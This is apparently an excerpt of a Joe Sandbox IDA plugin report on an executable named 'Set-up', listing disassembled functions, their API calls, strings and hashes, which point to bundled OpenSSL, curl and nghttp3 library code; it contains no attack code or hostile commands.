Associated: 00000000.00000002.1767708497.000000000083C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.0000000000840000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767735572.0000000000841000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767748531.0000000000845000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_Set-up.jbxd

Similarity

API ID: strlen$_errno
String ID: .cnf$.conf$crypto/conf/conf_def.c
API String ID: 3066963124-3060939390
Opcode ID: 6597f53d55e4e2f13c729d9244741f54085292782086979ceafd12fd71b0ce9e
Instruction ID: 0e607a11eb8040426f6885672d23637d65821565f9465bda883ec82f6e017c44
Opcode Fuzzy Hash: 6597f53d55e4e2f13c729d9244741f54085292782086979ceafd12fd71b0ce9e
Instruction Fuzzy Hash: 9B2125E2D4424167DA107672AC43E1B368C8F5234AF48093EFC0596283F76DDE3886A7

Function 002A0870 Relevance: 7.6, APIs: 3, Strings: 2, Instructions: 105COMMON

Download Yara Rule

APIs

memset.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000,?,00000000,00000000,00000000,00000100,?,002EF556,00000000,FFFFFFFF,00000000,?,00000000,002F06DF,?), ref: 002A08D7
memset.API-MS-WIN-CRT-STRING-L1-1-0(00000000,00000000,?,?,00000000,0026973B), ref: 002A0977

Part of subcall function 002C7220: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,crypto/engine/eng_list.c,000000EB,ENGINE_get_first,00000000,002EBD91), ref: 002C7262
Part of subcall function 002C7220: strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,crypto/engine/eng_list.c,000000EB,ENGINE_get_first,00000000,002EBD91), ref: 002C7285
Part of subcall function 002C7220: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,crypto/engine/eng_list.c,000000EB,ENGINE_get_first,00000000,002EBD91), ref: 002C72C5
Part of subcall function 002C7220: strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,crypto/engine/eng_list.c,000000EB,ENGINE_get_first,00000000,002EBD91), ref: 002C72E8

Strings

crypto/buffer/buffer.c, xrefs: 002A08A1, 002A08FC, 002A0911, 002A0946
BUF_MEM_grow, xrefs: 002A089A

Memory Dump Source

Source File: 00000000.00000002.1767167567.0000000000111000.00000020.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.1767154211.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.000000000063C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.00000000006DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767567457.00000000006DB000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767580643.00000000006DE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767594939.00000000006DF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767608606.00000000006E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767621658.00000000006E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.000000000083C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.0000000000840000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767735572.0000000000841000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767748531.0000000000845000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_Set-up.jbxd

Similarity

API ID: memsetstrcpystrlen
String ID: BUF_MEM_grow$crypto/buffer/buffer.c
API String ID: 1298912638-2735992530
Opcode ID: 57982fdca97bd67896b99bc8e4f090a25bb0645e46d6f14021e37e268194156a
Instruction ID: ec22de5a72e1de42fa221e97a2fe354e3ed71d4beac5681eaf53058301ecb1f9
Opcode Fuzzy Hash: 57982fdca97bd67896b99bc8e4f090a25bb0645e46d6f14021e37e268194156a
Instruction Fuzzy Hash: AC3131B1A602077BE7109E259C82F1BB79CAF41B24F144629F81C973C3E769AC3487D5

Function 004966C0 Relevance: 7.6, APIs: 5, Instructions: 100stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00497850: _errno.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,004966E9,?,?,?,?,?,?,?,?,?,?,?), ref: 0049787B

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,UTF-8,00000001,?,?,?,?,00000001,00000000,00000000,?,00000009,?), ref: 004966F5
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,0081422C,?,?,00000001,00000000,00000000,?,00000009,?), ref: 00496714
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000,?,00000009,?), ref: 00496727
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00496776
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 004967CC

Memory Dump Source

Source File: 00000000.00000002.1767167567.0000000000111000.00000020.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.1767154211.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.000000000063C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.00000000006DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767567457.00000000006DB000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767580643.00000000006DE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767594939.00000000006DF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767608606.00000000006E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767621658.00000000006E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.000000000083C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.0000000000840000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767735572.0000000000841000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767748531.0000000000845000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_Set-up.jbxd

Similarity

API ID: _errno$strcmp
String ID:
API String ID: 3909137471-0
Opcode ID: 57b2f149fe7bb17e1a68079a2d152a67dac08d219a4fa61685c72bfb3741a81c
Instruction ID: 90d1b3f9da244d2e5fb8945ea4c37c236a3b9f5ee1dd684e067660e90820a5d8
Opcode Fuzzy Hash: 57b2f149fe7bb17e1a68079a2d152a67dac08d219a4fa61685c72bfb3741a81c
Instruction Fuzzy Hash: D931AE356002009FCF109FA9EC40A1B7AA9AF4A36CF4605B9FA98D7311E739ED11CB95

Function 002F2010 Relevance: 7.6, APIs: 2, Strings: 3, Instructions: 90COMMON

Download Yara Rule

APIs

memset.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,002F2704,00000008), ref: 002F204D

Part of subcall function 002C7220: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,crypto/engine/eng_list.c,000000EB,ENGINE_get_first,00000000,002EBD91), ref: 002C7262
Part of subcall function 002C7220: strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,crypto/engine/eng_list.c,000000EB,ENGINE_get_first,00000000,002EBD91), ref: 002C7285
Part of subcall function 002C7220: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,crypto/engine/eng_list.c,000000EB,ENGINE_get_first,00000000,002EBD91), ref: 002C72C5
Part of subcall function 002C7220: strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,crypto/engine/eng_list.c,000000EB,ENGINE_get_first,00000000,002EBD91), ref: 002C72E8

memcpy.API-MS-WIN-CRT-PRIVATE-L1-1-0(?,?,?,?,?,?,?,002F2704,00000008), ref: 002F20C3

Strings

copy_integer, xrefs: 002F20DA
crypto/params.c, xrefs: 002F2090, 002F20E4
general_set_int, xrefs: 002F2086

Memory Dump Source

Source File: 00000000.00000002.1767167567.0000000000111000.00000020.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.1767154211.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.000000000063C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.00000000006DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767567457.00000000006DB000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767580643.00000000006DE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767594939.00000000006DF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767608606.00000000006E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767621658.00000000006E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.000000000083C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.0000000000840000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767735572.0000000000841000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767748531.0000000000845000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_Set-up.jbxd

Similarity

API ID: strcpystrlen$memcpymemset
String ID: copy_integer$crypto/params.c$general_set_int
API String ID: 2323844366-2562949257
Opcode ID: 53cdda920071fd9ccab5f50ed82219e7f8d810c3c4e850262c938ade6a39834c
Instruction ID: a752bdb04469742f063b6f5023f7f01643b92fb0f707e5f9c6ed80ee30a6132a
Opcode Fuzzy Hash: 53cdda920071fd9ccab5f50ed82219e7f8d810c3c4e850262c938ade6a39834c
Instruction Fuzzy Hash: EE212DB1B283099BD23069189C82F77F794DB66744F14013EFF0997283E9D6AC2DC6A5

Function 002F2140 Relevance: 7.6, APIs: 2, Strings: 3, Instructions: 90COMMON

Download Yara Rule

APIs

memset.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000,?,?,?,?,002F299E,00000008), ref: 002F21A8
memcpy.API-MS-WIN-CRT-PRIVATE-L1-1-0(?,?,?,?,?,?,002F299E,00000008), ref: 002F21FE

Part of subcall function 002F40A0: memset.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000,?,?,?,?,002F2075,?,?,?,?,?,?,002F2704,00000008), ref: 002F40C1
Part of subcall function 002F40A0: memcpy.API-MS-WIN-CRT-PRIVATE-L1-1-0(?,?,?,?,?,?,002F2075,?,?,?,?,?,?,002F2704,00000008), ref: 002F411E

Strings

copy_integer, xrefs: 002F2214
general_get_uint, xrefs: 002F2176, 002F21BA
crypto/params.c, xrefs: 002F2180, 002F21C4, 002F221E

Memory Dump Source

Source File: 00000000.00000002.1767167567.0000000000111000.00000020.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.1767154211.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.000000000063C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.00000000006DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767567457.00000000006DB000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767580643.00000000006DE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767594939.00000000006DF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767608606.00000000006E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767621658.00000000006E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.000000000083C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.0000000000840000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767735572.0000000000841000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767748531.0000000000845000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_Set-up.jbxd

Similarity

API ID: memcpymemset
String ID: copy_integer$crypto/params.c$general_get_uint
API String ID: 1297977491-1187682564
Opcode ID: d8c1b3940f5325ac0216dacfbd218614da8967f1274936c00028ed3eaf688162
Instruction ID: 07d5e0fc6d6b7ab5e97f02d83d7881087103912212a734ae387c0bf307d0ebe7
Opcode Fuzzy Hash: d8c1b3940f5325ac0216dacfbd218614da8967f1274936c00028ed3eaf688162
Instruction Fuzzy Hash: F52138B6B64209B6D62025286C03F7FA706CBD6B65F18013AFF0C661C3E9D968294995

Function 002F2240 Relevance: 7.6, APIs: 2, Strings: 3, Instructions: 88COMMON

Download Yara Rule

APIs

memset.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000,?,?,?,?,?,002F2BF4,00000008), ref: 002F22C1
memcpy.API-MS-WIN-CRT-PRIVATE-L1-1-0(?,?,?,?,?,?,?,002F2BF4,00000008), ref: 002F2312

Strings

copy_integer, xrefs: 002F228B
general_set_uint, xrefs: 002F22D2
crypto/params.c, xrefs: 002F2295, 002F22DC

Memory Dump Source

Source File: 00000000.00000002.1767167567.0000000000111000.00000020.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.1767154211.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.000000000063C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.00000000006DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767567457.00000000006DB000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767580643.00000000006DE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767594939.00000000006DF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767608606.00000000006E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767621658.00000000006E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.000000000083C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.0000000000840000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767735572.0000000000841000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767748531.0000000000845000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_Set-up.jbxd

Similarity

API ID: memcpymemset
String ID: copy_integer$crypto/params.c$general_set_uint
API String ID: 1297977491-3191580373
Opcode ID: 029bb4ed8e212abee304fcceefd5b10f348f740bf839ad5cb3cda28bf42796a1
Instruction ID: 0effe36ddb4cdad01c84e22cbc6b5365cf7b20ac13fa884da009dfa7b7340376
Opcode Fuzzy Hash: 029bb4ed8e212abee304fcceefd5b10f348f740bf839ad5cb3cda28bf42796a1
Instruction Fuzzy Hash: BE214FB0B38309ABEB3099649C42F3AF748DBD7744F14017EFE05961C3D5D9AC684661

Function 002F40A0 Relevance: 7.6, APIs: 2, Strings: 3, Instructions: 64COMMON

Download Yara Rule

APIs

memset.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000,?,?,?,?,002F2075,?,?,?,?,?,?,002F2704,00000008), ref: 002F40C1

Part of subcall function 002C7220: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,crypto/engine/eng_list.c,000000EB,ENGINE_get_first,00000000,002EBD91), ref: 002C7262
Part of subcall function 002C7220: strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,crypto/engine/eng_list.c,000000EB,ENGINE_get_first,00000000,002EBD91), ref: 002C7285
Part of subcall function 002C7220: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,crypto/engine/eng_list.c,000000EB,ENGINE_get_first,00000000,002EBD91), ref: 002C72C5
Part of subcall function 002C7220: strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,crypto/engine/eng_list.c,000000EB,ENGINE_get_first,00000000,002EBD91), ref: 002C72E8

memcpy.API-MS-WIN-CRT-PRIVATE-L1-1-0(?,?,?,?,?,?,002F2075,?,?,?,?,?,?,002F2704,00000008), ref: 002F411E

Strings

copy_integer, xrefs: 002F4134
unsigned_from_signed, xrefs: 002F40D3
crypto/params.c, xrefs: 002F40DD, 002F413E

Memory Dump Source

Source File: 00000000.00000002.1767167567.0000000000111000.00000020.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.1767154211.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.000000000063C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.00000000006DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767567457.00000000006DB000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767580643.00000000006DE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767594939.00000000006DF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767608606.00000000006E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767621658.00000000006E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.000000000083C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.0000000000840000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767735572.0000000000841000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767748531.0000000000845000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_Set-up.jbxd

Similarity

API ID: strcpystrlen$memcpymemset
String ID: copy_integer$crypto/params.c$unsigned_from_signed
API String ID: 2323844366-3781254518
Opcode ID: 94d823da53b08afc3fc678061bf839130548856f2a585cc6d07baf76bd42a897
Instruction ID: ef84f2234de3d16b2b6601dd9dc11ddf15f75b860ecd6a166fb979810014bba4
Opcode Fuzzy Hash: 94d823da53b08afc3fc678061bf839130548856f2a585cc6d07baf76bd42a897
Instruction Fuzzy Hash: 6B012DA1B6431536E63076647C03F7B6B48CFE1B55F18053DFB08A61C3E5D9687846A2

Function 001BE600 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 226COMMON

Download Yara Rule

APIs

_assert.API-MS-WIN-CRT-RUNTIME-L1-1-0(0070B19C,nghttp3_qpack.c,00000811,?,?), ref: 001BE866
_assert.API-MS-WIN-CRT-RUNTIME-L1-1-0(space <= ctx->max_dtable_capacity,nghttp3_qpack.c,0000080D,?,?,?,?,?,001C077F,?,?,00000000,00000000), ref: 001BE87B

Strings

space <= ctx->max_dtable_capacity, xrefs: 001BE876
nghttp3_qpack.c, xrefs: 001BE85C, 001BE871

Memory Dump Source

Source File: 00000000.00000002.1767167567.0000000000111000.00000020.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.1767154211.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.000000000063C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.00000000006DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767567457.00000000006DB000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767580643.00000000006DE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767594939.00000000006DF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767608606.00000000006E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767621658.00000000006E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.000000000083C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.0000000000840000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767735572.0000000000841000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767748531.0000000000845000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_Set-up.jbxd

Similarity

API ID: _assert
String ID: nghttp3_qpack.c$space <= ctx->max_dtable_capacity
API String ID: 1222420520-1270044496
Opcode ID: 9f2aeeb7bfeadba3305173f54e57cfd276d92dc483f60fb0742abff54db4d213
Instruction ID: 737c58d8325e6a6a06008d40c3686838c7b71220757563fbfa2f25a484fbd2c3
Opcode Fuzzy Hash: 9f2aeeb7bfeadba3305173f54e57cfd276d92dc483f60fb0742abff54db4d213
Instruction Fuzzy Hash: 2481C2B5A00A019FD710DF24D842AA6B7F5FF59718F08462CF88A87752EB31F855CB91

Function 001181B0 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 150stringCOMMON

Download Yara Rule

APIs

_stat64.API-MS-WIN-CRT-FILESYSTEM-L1-1-0(001154E6), ref: 00118235
strrchr.API-MS-WIN-CRT-PRIVATE-L1-1-0(00000000,0000002F), ref: 001182D4
strrchr.API-MS-WIN-CRT-PRIVATE-L1-1-0(00000000,0000005C), ref: 001182E1

Strings

mime.c, xrefs: 0011824C, 001182B8, 0011832D, 00118342, 0011835E, 0011837A, 0011839C

Memory Dump Source

Source File: 00000000.00000002.1767167567.0000000000111000.00000020.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.1767154211.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.000000000063C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.00000000006DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767567457.00000000006DB000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767580643.00000000006DE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767594939.00000000006DF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767608606.00000000006E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767621658.00000000006E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.000000000083C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.0000000000840000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767735572.0000000000841000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767748531.0000000000845000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_Set-up.jbxd

Similarity

API ID: strrchr$_stat64
String ID: mime.c
API String ID: 2771713950-3378952128
Opcode ID: c22abce8ce1b2eb9130c834a98cbd390efdc72c1e7ea2ca8ad7b57be057f71bc
Instruction ID: 971523fcb0c46e2b027a2fd5d157fe99770e1b65dd0db33cca5cd214dae7c5b6
Opcode Fuzzy Hash: c22abce8ce1b2eb9130c834a98cbd390efdc72c1e7ea2ca8ad7b57be057f71bc
Instruction Fuzzy Hash: BA51E6B1A113009BEB189F14CC867973AA5AF50714F184138EC289F2C6EFB5CA858795

Function 00154380 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 111stringnetworkCOMMON

Download Yara Rule

APIs

htons.WS2_32(?), ref: 001543D8
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 00154409
memcpy.API-MS-WIN-CRT-PRIVATE-L1-1-0(00000020,?,00000001), ref: 00154457

Strings

curl_addrinfo.c, xrefs: 00154429, 001544C3

Memory Dump Source

Source File: 00000000.00000002.1767167567.0000000000111000.00000020.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.1767154211.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.000000000063C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.00000000006DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767567457.00000000006DB000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767580643.00000000006DE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767594939.00000000006DF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767608606.00000000006E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767621658.00000000006E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.000000000083C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.0000000000840000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767735572.0000000000841000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767748531.0000000000845000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_Set-up.jbxd

Similarity

API ID: htonsmemcpystrlen
String ID: curl_addrinfo.c
API String ID: 2973076469-1838508774
Opcode ID: 8c7a403375dd48fed1d70aa6bdfd0c31cb49c62ac8410a7bb85040863c64d571
Instruction ID: 11e67a168167926f50b0cf06b4b20ddef5aa0ca22b9840a315163f1d470ba6bf
Opcode Fuzzy Hash: 8c7a403375dd48fed1d70aa6bdfd0c31cb49c62ac8410a7bb85040863c64d571
Instruction Fuzzy Hash: 624187B5A04705EFD700DF59C880A6AB7E4FF88318F04892DED998B361E330E994CB91

Function 00146650 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 105stringCOMMON

Download Yara Rule

APIs

_time64.API-MS-WIN-CRT-TIME-L1-1-0(00000000,?,?,?), ref: 0014665D
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 0014670E
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000010), ref: 0014671C

Strings

altsvc.c, xrefs: 00146699, 001466AB, 001466BD

Memory Dump Source

Source File: 00000000.00000002.1767167567.0000000000111000.00000020.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.1767154211.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.000000000063C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.00000000006DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767567457.00000000006DB000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767580643.00000000006DE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767594939.00000000006DF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767608606.00000000006E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767621658.00000000006E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.000000000083C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.0000000000840000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767735572.0000000000841000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767748531.0000000000845000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_Set-up.jbxd

Similarity

API ID: strlen$_time64
String ID: altsvc.c
API String ID: 2413861649-3234676706
Opcode ID: 4e6087b02812d75a93de9637e31e6f8a3ee4e8b0d2a9888d490808da30162474
Instruction ID: 3c0d3c035f9818b3014c547e962edcf15d61606cde6c0f3ddb67fa2d513c8130
Opcode Fuzzy Hash: 4e6087b02812d75a93de9637e31e6f8a3ee4e8b0d2a9888d490808da30162474
Instruction Fuzzy Hash: A131F7B1E08300ABD710EE24AC8296F7BE5AB5575CF054439FD0D9A262F731ED44C693

Function 001B42E0 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 81COMMON

Download Yara Rule

APIs

_assert.API-MS-WIN-CRT-RUNTIME-L1-1-0(tnode->pri.urgency < NGHTTP3_URGENCY_LEVELS,nghttp3_conn.c,0000060E), ref: 001B435F
_assert.API-MS-WIN-CRT-RUNTIME-L1-1-0(tnode->pri.urgency < NGHTTP3_URGENCY_LEVELS,nghttp3_conn.c,0000060E,?,?,?,00000000,?), ref: 001B43EF

Strings

